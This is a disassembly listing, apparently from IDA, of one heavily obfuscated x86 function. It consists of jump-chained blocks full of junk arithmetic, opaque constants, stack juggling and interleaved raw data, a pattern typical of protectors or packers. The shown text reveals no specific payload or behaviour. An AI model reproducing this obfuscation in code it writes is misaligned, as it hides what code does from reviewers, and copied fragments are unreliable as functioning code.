; ---------------------------------------------------------------------------
		db 89h
		dd 272D5EF2h, 1176C71h,	712705D0h, 835A176Ch, 72E904ECh
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56012F:				; CODE XREF: sub_542C3C+202F7j
		mov	[esp+0A0h+var_A2+2], ebx
		push	3282h
		push	esp
		pop	[esp+0A8h+var_AA+2]
		push	ebp
		mov	ebp, 4
		add	[esp+0A8h+var_A6+2], ebp
		jmp	loc_565359
; ---------------------------------------------------------------------------
aISzd		db '‰,$éz„',0
		align 2
		dw 2489h
		dd 24048324h, 24348B04h, 4C481h, 0A7E90000h, 81FFFFE2h
		dd 0A1456BC5h, 41ED8136h, 8110F97Bh, 8D14CDF5h,	0CC66E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56017E:				; CODE XREF: sub_542C3C+242CDj
		mov	[esp+0A8h+var_AA+2], edx
		push	239Fh
		push	esp
		pop	[esp+0B0h+var_B2+2]
		add	[esp+0ACh+var_AE+2], 4
		mov	edx, [esp+0ACh+var_AE+2]
		add	esp, 4
		push	21A5h
		mov	[esp+0ACh+var_AE+2], esi
		jmp	loc_5606E2
; ---------------------------------------------------------------------------

loc_5601A4:				; CODE XREF: sub_542C3C+14B50j
		push	ecx
		mov	ecx, 67A0063Ah
		not	ecx
		shr	ecx, 7
		sub	esp, 4
		mov	[esp+0C2h+var_C2], edi
		mov	edi, 2C6214CBh
		sub	edi, 0D43667A6h
		add	ecx, edi
		pop	edi
		sub	ebx, ecx
		jmp	loc_557CAC
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 758FE904h, 0BD550000h, 0BE93C4Fh, 0FFE9504Dh, 81000069h
		dd 2C7h, 0F114E900h, 0E954FFFFh, 0FFFF5FA0h, 0C7E9DBF6h
		dd 0B8FFFF6Ah, 6DDB0414h, 5FEBF57h, 0DFF72B72h,	0F781DFF7h
		dd 3D2B414Fh, 1151EF81h, 142D9BE7h, 118B97Fh, 0AE1DE9F8h
		dd 248BFFFFh, 2CD36624h, 21E99C24h, 0BDFFFF33h,	28FD079Ah
		dd 0FFA3F1E9h, 7EEE81FFh, 8118941Dh, 2D587FC6h,	81DE014Ch
		dd 2D587FEEh, 7EC6814Ch, 5B18941Dh, 8702C683h, 248B2434h
		dd 243CD224h, 32EAE99Ch, 6852FFFFh, 894h, 0FFF29FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56026D:				; CODE XREF: sub_542C3C+245CEj
		add	esp, 4
		push	edx
		push	6F0972D4h
		pop	edx
		shl	edx, 8
		push	3589h
		mov	[esp+0C2h+var_C2], edx
		not	[esp+0C2h+var_C2]
		mov	edx, [esp+0C2h+var_C2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0C6h+var_C6]
		pop	esp
		shr	edx, 7
		jmp	loc_56045C
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FFA74BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5602A9:				; CODE XREF: sub_542C3C+135A3j
		sub	esi, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp+9Ah+var_9C+2]
		mov	esp, [esp+9Ah+var_9C+2]
		push	esi
		push	edi
		push	edx
		push	edi
		push	692723A2h
		pop	edi
		inc	edi
		sub	edi, 32A54E06h
		add	edi, 1
		xor	edi, 3ED2B1D4h
		jmp	loc_56225B
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4ECh, 0E686E900h, 0F101FFFFh, 34F8E9h, 242C8B00h, 0F819E955h
		dd 0E5D1FFFFh, 3A9C581h, 0E901D2A5h, 81C1015Dh,	0F27727E9h
		dd 9D6E97Dh, 0C4830000h, 3DE2E904h, 4890000h, 24348124h
		dd 45844D5Ah, 5AF3815Bh, 8B45844Dh, 0B7E92404h,	0E9000069h
		dd 0FFFF3218h
; ---------------------------------------------------------------------------

loc_560334:				; CODE XREF: sub_542C3C+117B6j
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+8Ch+var_8C]
		jmp	loc_565AE0
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9570000h, 4661h
; ---------------------------------------------------------------------------

loc_56034C:				; CODE XREF: sub_542C3C+12F4Dj
		push	ebx
		push	ebp
		push	623F6CCEh
		pop	ebp
		jmp	loc_55FBC7
; ---------------------------------------------------------------------------
		db 5Ah,	0F7h, 0D8h
aVV		db 'V¾v$',0
		db 33h,	81h, 0E6h
		dd 8901409h, 4EEC146h, 0F705E6C1h, 2EE81D6h, 0E9A11181h
		dd 0FFFF4F53h
; ---------------------------------------------------------------------------

loc_56037C:				; CODE XREF: sub_542C3C+18FF7j
		add	dl, 40h
		add	dl, cl
		sub	dl, 40h
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_5553A9
; ---------------------------------------------------------------------------

loc_56038F:				; CODE XREF: sub_542C3C+12D59j
		mov	[esp+0A6h+var_A6], ecx
		push	ebx
		jmp	loc_5570C4
; ---------------------------------------------------------------------------
		dd 0D900F0B3h, 80D1285Bh, 5A66F0E9h, 8002E9C0h,	0CF880AC1h
		dd 51240C8Bh, 0C181E189h, 4, 8704E983h,	895C240Ch, 83E9240Ch
		dd 0AC000024h, 5457D830h, 81243C8Bh, 4C4h, 4C78100h, 81000000h
		dd 2EFh, 243C8700h, 0FF794EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5603E9:				; CODE XREF: sub_542C3C+249EBj
		xchg	ebp, [esp+0AAh+var_AA]
		jmp	loc_557DE2
; ---------------------------------------------------------------------------

loc_5603F1:				; CODE XREF: sub_542C3C+16F66j
		pop	ecx
		add	ecx, 614A1BB2h
		jmp	loc_55F8BA
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B4240489h, 1EA7E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56040A:				; CODE XREF: sub_542C3C+1F465j
		mov	ecx, [esp+38h+var_38]
		add	esp, 4
		add	esi, 475835E2h
		and	esi, 74B527C5h
		sub	esi, 0A2A074Ah
		sub	esi, 660A1D37h
		add	eax, 7D282B8Eh
		add	eax, esi
		sub	eax, 7D282B8Eh
		mov	esi, [esp+34h+var_34]
		push	esi
		jmp	loc_55E607
; ---------------------------------------------------------------------------

loc_56043D:				; CODE XREF: sub_542C3C+162B3j
		sub	edx, ebp
		pop	ebp
		shl	edx, 3
		push	esi
		mov	esi, 2D3306C2h
		push	ecx
		mov	ecx, 477C1E9Dh
		xor	ecx, 159E051Fh
		not	ecx
		jmp	loc_555E30
; ---------------------------------------------------------------------------

loc_56045C:				; CODE XREF: sub_542C3C+1D660j
		push	ebx
		mov	ebx, 6F347B87h
		xor	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_560663
; ---------------------------------------------------------------------------
		db 0E9h, 0CEh, 30h
		dd 0C580FFFFh, 59EC2097h, 80D9F480h, 0E330FDECh, 0FFC4B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560491:				; CODE XREF: sub_542C3C+1D31Ej
		not	edx
		or	edx, 3B12F8Bh
		xor	edx, 0D33F98A0h
		jmp	loc_567AFC
; ---------------------------------------------------------------------------

loc_5604A4:				; CODE XREF: sub_542C3C+25760j
		pop	ecx
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 19124FDAh
		add	[esp+60h+var_5C], esi
		mov	esi, [esp+60h+var_60]
		add	esp, 4
		push	[esp+5Ch+var_5C]
		pop	ecx
		jmp	loc_55EF05
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 37h
		dd 17E485Fh, 37EF81F7h,	5E7E485Fh, 5C243C87h, 2404A30Fh
		dd 306EE99Ch, 0E0C1FFFFh, 21BE5606h, 0F720F364h, 0BF5746DEh
		dd 4FD73EA7h, 4EC2EF81h, 0EF810523h, 0B3EBDABAh, 3C8BFE29h
		dd 4C48324h, 348BF029h,	635DE924h, 4870000h, 79DDE924h
		dd 348BFFFFh, 4C48324h,	895BD801h, 6DFAE9C3h, 5BB4FFFFh
		dd 8096B551h, 45E9EEC5h, 83FFFF6Eh, 0CB2D04C4h,	515C4F02h
		dd 0CE89C189h, 2C8B5859h, 4C48124h, 29000000h, 2434FFF2h
		dd 4C4835Eh, 8904EC83h,	74FF2414h, 148B0424h, 4C48124h
		dd 8F000000h, 248B2404h, 240C8924h, 0D5E9008Fh
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560577:				; CODE XREF: sub_542C3C+13887j
		xor	al, bl
		mov	ebx, [esp+88h+var_88]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_555990
; ---------------------------------------------------------------------------
aUSB		db '³u(Øé,b',0
		db 0
; ---------------------------------------------------------------------------

loc_56059B:				; CODE XREF: sub_542C3C+2511Fj
		push	[esp+88h+var_88]
		pop	ebp
		add	esp, 4
		add	ecx, 4
		push	ecx
		push	[esp+88h+var_84]
		jmp	loc_55C7DD
; ---------------------------------------------------------------------------

loc_5605B2:				; CODE XREF: sub_542C3C+1BF47j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		push	edx
		push	[esp+80h+var_7C]
		pop	edx
		pop	[esp+80h+var_80]
		pop	esp
		sub	ebp, 244F3552h
		sub	esp, 4
		mov	[esp+7Ch+var_7C], esi
		jmp	loc_55BC38
; ---------------------------------------------------------------------------
		db 1
		dd 5E17E9C6h, 34FFFFFFh, 0D205E924h, 55ADFFFFh,	1ED368h
		dd 24148900h, 2DE5BAh, 0E9535672h, 2A19h, 0FF2434FFh, 81582434h
		dd 4C4h, 76A2E900h, 2C5AFFFFh, 51F8000Fh, 0C0E920B5h, 0BDFFFFE7h
		dd 0B1D1A92Dh, 295DEF01h, 14335FFAh, 24143124h,	8B241433h
		dd 2C892424h, 74FF5324h, 8F5B0424h, 70E92404h, 0B6FFFFD9h
		dd 6E6C004h, 0FE97E680h, 0C2CE80CEh, 8090C680h,	73E91DEEh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560663:				; CODE XREF: sub_542C3C+1D838j
		xchg	ebp, [esp+0C6h+var_C6]
		pop	esp
		mov	[esp+0C2h+var_C2], ebx
		jmp	loc_557B47
; ---------------------------------------------------------------------------
		db 68h
		dd 14E1h, 66241489h, 0E919C168h, 0FFFF5A88h, 240C8B66h
		dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4E5BE900h, 55BFFFFh
		dd 4, 5C240487h, 4BF57h, 0F8010000h, 0FF7557E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5606B1:				; CODE XREF: sub_542C3C+118C2j
		push	ebx
		push	16047163h
		pop	ebx
		jmp	loc_56588F
; ---------------------------------------------------------------------------

loc_5606BD:				; CODE XREF: sub_542C3C+15E5Ej
		sub	cl, 85h
		sub	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], edx
		push	eax
		mov	al, 0DAh
		xor	al, dh
		xor	dh, al
		xor	al, dh
		inc	dh
		push	ebx
		push	ecx
		mov	cl, dh
		mov	bl, cl
		jmp	loc_567F11
; ---------------------------------------------------------------------------

loc_5606E2:				; CODE XREF: sub_542C3C+1D563j
		push	ebx
		mov	ebx, 4E2A459Ch
		push	eax
		jmp	loc_55F6A1
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2B154DC8h, 0A7E9F729h, 8100001Ch, 882947F1h,	7E1C146h
		dd 0FF93C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560709:				; CODE XREF: sub_542C3C+1C288j
		not	esi
		inc	esi
		jmp	loc_567D49
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 3Ah
		dd 5059EF00h, 0C730F4B0h, 0E9F83058h, 39Dh
; ---------------------------------------------------------------------------

loc_560724:				; CODE XREF: sub_542C3C+20620j
		xor	esi, 38E15DE2h
		xor	edx, esi
		pop	esi
		or	edx, 63CF2863h
		push	6320h
		jmp	loc_565DA8
; ---------------------------------------------------------------------------

loc_56073D:				; CODE XREF: sub_542C3C+15D5Bj
		xchg	ebp, [esp+8Ch+var_8C]
		pop	esp
		push	4B15h
		jmp	loc_55A077
; ---------------------------------------------------------------------------
		db 1
		dd 0C875EF1h, 24248B24h, 51C8BE0Fh, 433FE9h
		db 0
; ---------------------------------------------------------------------------

loc_56075D:				; CODE XREF: sub_542C3C+22A3Dj
		mov	[esp+8Ch+var_8C], ecx
		push	ebx
		mov	ebx, 7B390815h
		or	ebx, 375458F8h
		inc	ebx
		not	ebx
		xor	ebx, 22A8724Dh
		shr	ebx, 7
		sub	ebx, 0ED6A0072h
		mov	ecx, ebx
		jmp	loc_559341
; ---------------------------------------------------------------------------

loc_560785:				; CODE XREF: sub_542C3C+2226Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		add	esp, 4
		push	1D3Dh
		mov	[esp+90h+var_90], esi
		push	edi
		push	edx
		mov	edx, 34790AB6h
		mov	edi, 0CB8AF54Ah
		add	edi, edx
		pop	edx
		mov	esi, edi
		push	[esp+94h+var_94]
		mov	edi, [esp+98h+var_98]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55514F
; ---------------------------------------------------------------------------
a1Su2		db '1<$éU2',0
		align 10h

loc_5607D0:				; CODE XREF: sub_542C3C+23E9Aj
		push	ecx
		mov	ecx, 0CE713DEh
		add	eax, ecx
		jmp	loc_567BDF
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0C1h
		db 0E0h, 7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0A0h+var_A2+2]
		jmp	loc_55955C
; ---------------------------------------------------------------------------

loc_5607F6:				; CODE XREF: sub_542C3C+14108j
		sub	esp, 4
		mov	[esp+8Ch+var_8C], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8Ch+var_8C]
		pop	esp
		mov	eax, ebp
		jmp	loc_5548C6
; ---------------------------------------------------------------------------
		dw 0A7B9h
		dd 29499857h, 6E959CAh,	0C1000038h, 822504E8h, 0F7076A77h
		dd 51D8F7D8h, 0FE1F0FB9h, 48D4E97Ah, 2C87FFFFh,	24248B24h
		dd 55240C89h, 0CA4D16BDh, 1ED8169h, 0E9000000h,	4A9Fh
		dd 5104C183h, 42474FFh,	1F96E9h, 31E9AC00h, 47FFFFA4h
		dd 8904EC83h, 25B82404h, 352B0822h, 4AD203E7h, 37BDAA2Dh
		dd 0E9C73111h, 7029h, 81665966h, 668B52C1h, 2244481h, 1660CBBh
		dd 6602244Ch, 2246C81h,	56E90CBBh, 5FFFF5Ah, 4,	4B951h
		dd 0C8010000h, 24048759h, 7EDBE9h, 243C3100h, 70BE9h, 92E95A00h
		dd 8BFFFF8Eh, 8DE9240Ch, 52FFFFF5h, 24F0E954h, 0EC830000h
		dd 243C8904h, 0FF6297E9h, 0E9D1F6FFh, 0FFFFE1E2h, 243C895Ch
		dd 2BFh, 0E9F80100h, 1F71h
; ---------------------------------------------------------------------------

loc_5608F4:				; CODE XREF: sub_542C3C+226E7j
		sub	ebp, edx
		pop	edx
		jmp	loc_5569C4
; ---------------------------------------------------------------------------

loc_5608FC:				; CODE XREF: sub_542C3C+1C1BBj
		xor	ebp, 0E5345BBh
		xor	ebp, 0E170883Fh
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		xchg	ecx, [esp+0A2h+var_A2]
		pop	esp
		mov	[esp], esi
		push	[esp+9Eh+var_9C+2]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp+9Ah+var_9C+2]
		add	esp, 4
		xor	eax, 0EAD2045h
		push	2B9Ah
		mov	[esp+9Ah+var_9C+2], eax
		jmp	loc_564B47
; ---------------------------------------------------------------------------

loc_560938:				; CODE XREF: sub_542C3C+1514Dj
		sub	esi, 4
		jmp	loc_55896C
; ---------------------------------------------------------------------------
		db 5
		dd 4, 5004C083h, 42474FFh, 0DA57E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560956:				; CODE XREF: sub_542C3C+141FDj
		push	7D74h
		mov	[esp+8Ch+var_8C], ecx
		push	esi
		push	6DA03AB1h
		push	[esp+94h+var_94]
		pop	esi
		add	esp, 4
		xor	esi, 75C541BAh
		add	esi, 0E79A84F9h
		mov	ecx, esi
		mov	esi, [esp+90h+var_90]
		jmp	loc_560EBB
; ---------------------------------------------------------------------------
		dd 5DEB315Dh, 0E95BDA31h, 0FFFF56D6h, 0BD242C89h, 55306D89h
		dd 2D5CED81h, 0F5814E2Bh, 49AB36F1h, 4EC81h, 3C890000h
		dd 648CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5609B2:				; CODE XREF: sub_542C3C+1A381j
		pop	ebx
		shl	eax, cl
		jmp	loc_5576E1
; ---------------------------------------------------------------------------
		dw 8DE9h
		dd 5EFFFF2Bh, 4C481h, 0E9570000h, 0FFFFF3C9h, 0A6E9D530h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5609D3:				; CODE XREF: sub_542C3C+199DAj
		add	[esp+60h+var_5C], eax
		add	[esp+60h+var_5C], 9080C3Bh
		jmp	loc_5658AB
; ---------------------------------------------------------------------------

loc_5609E4:				; CODE XREF: sub_542C3C+2010Bj
		push	[esp+60h+var_60]
		pop	esi
		jmp	loc_558AD1
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF6E40h, 8755EB87h, 0D6F72434h, 0FFBA79E9h
		dd 243C8BFFh, 4C481h, 71E90000h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560A13:				; CODE XREF: sub_542C3C+198DDj
		mov	bh, al
		mov	cl, bh
		pop	ebx
		mov	dl, cl
		pop	ecx
		mov	eax, [esp+7Ah+var_7C+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_557B36
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 81D70104h, 5D69A8C7h, 2434FF60h, 49B9E9h, 4C48100h
		dd 0E9000000h, 0FFFF3669h, 10C6814Eh, 31F5707Dh, 0EA895EF5h
		dd 0FF70A1E9h, 6FC205FFh, 53561B44h, 0FFA091E9h, 4BB53FFh
		dd 1000000h, 5B04245Ch,	6ACE9h,	4C68100h, 0E9000000h, 3003h
		dd 0FEF9EA80h, 0F65266C2h, 5A66241Ch, 5494E9h, 3889BF00h
		dd 0BD5507F5h, 78E63A55h, 0FF50F7E9h, 0F3F381FFh, 1631560h
		dd 8B3AE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560AB6:				; CODE XREF: sub_542C3C+11A81j
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		jmp	loc_55AAC7
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 368768h, 24148900h, 24148B54h, 4C481h, 0E9510000h, 5BBCh
; ---------------------------------------------------------------------------

loc_560ADC:				; CODE XREF: sub_542C3C+1D144j
		pop	ebp
		push	4F85h
		mov	[esp+74h+var_74], ebp
		mov	ebp, 96487Bh
		neg	ebp
		push	edx
		jmp	loc_565BAB
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 8B042474h, 0C4812434h, 4, 5C24048Fh,	1313BE56h, 0C68170E9h
		dd 0B2B7032h, 0FFEB19E9h, 242489FFh, 4240483h, 2CE9515Ah
		dd 8700002Eh, 81DDF7F5h, 69534BC5h, 0D1C58127h,	19EDE03h
		dd 0C5815DEAh, 45792BD1h, 0DFE9D501h, 8BFFFF2Dh, 0E956240Ch
		dd 405h, 0BE1DADBEh, 7EEC106h, 0FF7924E9h, 0BEE95EFFh
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560B5F:				; CODE XREF: sub_542C3C+1F2F0j
		pop	ecx
		sub	al, 95h
		push	[esp+74h+var_74]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+74h+var_74], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 60585F76h
		shl	edi, 2
		and	edi, 6CC7713Fh
		dec	edi
		jmp	loc_55D667
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0BC3C15B9h, 732FE9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B96:				; CODE XREF: sub_542C3C+1FB4Aj
		sub	bl, 37h
		xor	bl, 7Dh
		add	bl, 40h
		mov	ch, bl
		pop	ebx
		push	edx
		mov	dh, 95h
		add	al, 6
		add	al, dh
		jmp	loc_55FF82
; ---------------------------------------------------------------------------
		dw 0A1B3h
		dd 28BFF380h, 241C8BD8h, 4EC81h, 4890000h, 98CDE924h, 48FFFFFh
		dd 24248B24h, 9C2424D2h, 0FF2977E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560BD5:				; CODE XREF: sub_542C3C+130C6j
		mov	eax, 2
		sub	ecx, eax
		jmp	loc_564F2E
; ---------------------------------------------------------------------------

loc_560BE1:				; CODE XREF: sub_542C3C+12D46j
		add	ebx, eax
		push	esi
		mov	esi, 233F5165h
		jmp	loc_567EDD
; ---------------------------------------------------------------------------

loc_560BEE:				; CODE XREF: sub_542C3C+13D75j
		push	ecx
		jmp	loc_564F00
; ---------------------------------------------------------------------------

loc_560BF4:				; CODE XREF: sub_542C3C+11685j
		dec	esi
		jmp	loc_554260
; ---------------------------------------------------------------------------
		dd offset dword_40E504+164h
		dw 8900h
		dd 0CEBF243Ch, 0BE5F3517h, 13965BA2h, 0E903EEC1h, 0FFFFCC8Fh
		dd 6554E958h, 0E9580000h, 0FFFF3FD6h, 6604C483h, 571B6B05h
		dd 3095BF66h, 56EF8166h, 0E6AE94Ah, 0E3890000h,	4B951h
		dd 0C3810000h, 1BB637B3h, 0EB81CB01h, 1BB637B3h, 4EB8359h
		dd 5C241C87h, 50242489h, 6A5BE9h, 0EEEE8000h, 0F000792Ch
		dd 285A7904h, 51982CD8h, 0EDC0B4B5h, 0F6E58602h, 80E586DCh
		dd 0E5C073F5h, 0D5ED8006h, 459E800h, 1C8B6642h,	2C48324h
		dd 8904EC83h, 0AAB7241Ch, 2C5BF800h, 52D800A3h,	0E9E9B151h
		dd 5529h
; ---------------------------------------------------------------------------

loc_560CA4:				; CODE XREF: sub_542C3C+12EC8j
		sub	edx, 2156166Bh
		jmp	loc_55BBCB
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8104C4h, 4, 0F7242C89h, 4DE92414h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560CC3:				; CODE XREF: sub_542C3C+12EE8j
		mov	ecx, 0CBA5CAF6h
		add	ebx, ecx
		pop	ecx
		add	edx, 235A4D19h
		sub	edx, ebx
		sub	edx, 235A4D19h
		pop	ebx
		add	ebx, edx
		mov	edx, [esp+0B6h+var_B6]
		jmp	loc_553725
; ---------------------------------------------------------------------------
		dd 4C18358h, 2474FF51h,	0B6E95904h, 8100005Bh, 42404h
		dd 0C8B0000h, 4C48324h,	4C181h,	45E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D0B:				; CODE XREF: sub_542C3C+217E4j
		mov	esp, [esp+0B6h+var_B6]
		xor	[esp+0B6h+var_B6], eax
		jmp	loc_55354C
; ---------------------------------------------------------------------------

loc_560D16:				; CODE XREF: sub_542C3C+219EEj
		push	ecx
		jmp	loc_55B5DD
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 7328h, 33241431h, 248B2414h, 2434FF24h
		dd 0E92434FFh, 0FFFF831Ch, 2886F780h, 525B5BF8h, 0FFDD8BE9h
		dd 56C68FFh, 24890000h,	24048324h, 2434FF04h, 4FD6685Fh
		dd 0C890000h, 57E18924h, 4BFh, 61A4E900h, 14890000h, 27DAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560D72:				; CODE XREF: sub_542C3C+15469j
		add	esp, 4
		shl	edx, 5
		not	edx
		inc	edx
		push	ebx
		mov	ebx, 95FF649Fh
		sub	edx, ebx
		pop	ebx
		mov	esi, edx
		mov	edx, [esp+3Ch+var_3C]
		push	eax
		jmp	loc_561E46
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240CFFh, 3392E9h
		db 0
; ---------------------------------------------------------------------------

loc_560D99:				; CODE XREF: sub_542C3C+24F70j
		sub	esp, 4
		mov	[esp+44h+var_44], ecx
		push	edx
		push	5CB5349h
		pop	edx
		jmp	loc_566175
; ---------------------------------------------------------------------------

loc_560DAE:				; CODE XREF: sub_542C3C+172A2j
		and	ecx, 30E27FC0h
		jmp	loc_55AD9F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4BB241Ch,	53000000h, 2434FF5Ah, 4C4815Bh
		dd 56000000h, 0F2BB7BEh, 3EEC159h, 17F68146h, 29702DCDh
		dd 0D3015EF3h, 0E904EC83h, 0FFFFF081h, 0E92434FFh, 5ECEh
; ---------------------------------------------------------------------------

loc_560DF8:				; CODE XREF: sub_542C3C+1EEE2j
		xor	ebx, 0AF42C38h
		and	eax, ebx
		push	[esp+68h+var_68]
		jmp	loc_556F71
; ---------------------------------------------------------------------------
		dd 5359C801h, 4BBh, 5BD82900h, 0E9240487h, 438Bh, 0BF68515Ch
		dd 89000047h, 0B2522404h, 0EBB9E98Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560E2E:				; CODE XREF: sub_542C3C+12614j
		add	esi, 5ACE57B0h
		jmp	loc_563261
; ---------------------------------------------------------------------------

loc_560E39:				; CODE XREF: sub_542C3C+1D03Bj
		add	esi, 4
		jmp	loc_565DEF
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 0E9h
		dd 0FFFFA1CBh, 752C281h, 0D1299CC8h, 81F9015Ah,	0BB00F4C1h
		dd 0EC835F26h, 24148904h, 268h,	24148B00h, 0FF54C3E9h
		dd 24348BFFh, 0E904C483h, 0FFFFC59Fh, 6FA989BFh, 5FFE89B6h
		dd 8959CE29h, 34685EF7h, 89000058h, 45BB241Ch, 91A2468h
		dd 2434FFDFh, 4C4835Bh,	0D36EF81h, 0F781470Ah, 755F76C2h
		dd 3B10E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560EAE:				; CODE XREF: sub_542C3C+122C3j
		sub	edx, 6423299Ah
		add	edx, ebx
		jmp	loc_564A7B
; ---------------------------------------------------------------------------

loc_560EBB:				; CODE XREF: sub_542C3C+1DD43j
		add	esp, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp+88h+var_88]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_567085
		push	ecx
		jmp	loc_553F9E
; ---------------------------------------------------------------------------
		db 0F6h, 54h, 24h
		dd 0EC815B01h, 4, 88240C89h, 52D1F6F9h,	0F788CE88h, 0FF404EE9h
		dd 0ED815EFFh, 4, 0FF2900E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560F01:				; CODE XREF: sub_542C3C+1CD07j
		push	1Ch
		push	[esp+58h+var_58]
		jmp	loc_5626A7
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C6h, 4BA5200h, 1000000h, 34875AD6h,	0EC835C24h, 24348904h
		dd 30A6E953h, 8B660000h, 96E9240Ch, 0B9FFFFC0h,	9A7C4E46h
		dd 4DE9CD29h, 54FFFFC2h, 2A86E9h, 2434FF00h, 47A9E9h, 53E68900h
		dd 187E39BBh, 3DF3811Eh, 11E187Eh, 50535BDEh, 607FC868h
		dd 0C341E96Ah, 505BFFFFh, 0C588F088h, 0E9535A58h, 0FFFFB85Bh
		dd 6D487905h, 24348B62h, 5604C483h, 416CC5BEh, 0A6F68102h
		dd 5617AC8h, 107958D8h,	0FF3EF7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560F9D:				; CODE XREF: sub_542C3C+225DEj
		shl	ebp, 8
		push	edx
		jmp	loc_558C10
; ---------------------------------------------------------------------------
aNsc		db '­éæ%',0
		align 4

loc_560FAC:				; CODE XREF: sub_542C3C+1A18Ej
		mov	ecx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_55F076
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0E9520000h, 0FFFFD04Eh, 3C87D7F7h, 0EB815B24h
		dd 0CB22CCA5h, 3D4FE9h,	48B6600h, 0DE95224h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560FE3:				; CODE XREF: sub_542C3C+14AABj
		mov	edi, 1
		push	ebx
		jmp	loc_55AC55
; ---------------------------------------------------------------------------
		dw 0DE88h
		dd 0FFFF79E9h, 0F23159FFh, 0E924348Bh, 0FFFF2A83h, 0E9EF8966h
		dd 0FFFFBA22h, 5C24048Fh, 54243C89h, 4EC815Fh, 89000000h
		dd 7CE9241Ch
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56101F:				; CODE XREF: sub_542C3C+15E69j
		jz	loc_559AF4
		push	dword ptr [edi+1Ch]
		push	[esp+8Ah+var_8C+2]
		push	[esp+8Eh+var_90+2]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_557BE0
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
		dd 24248B24h, 6824048Bh, 2D22h,	81241489h, 4ECh, 24248900h
		dd 4240481h, 0E9000000h, 0BE0h
; ---------------------------------------------------------------------------

loc_561064:				; CODE XREF: sub_542C3C+119DBj
		pop	edx
		sub	esi, 4
		jmp	loc_562D8B
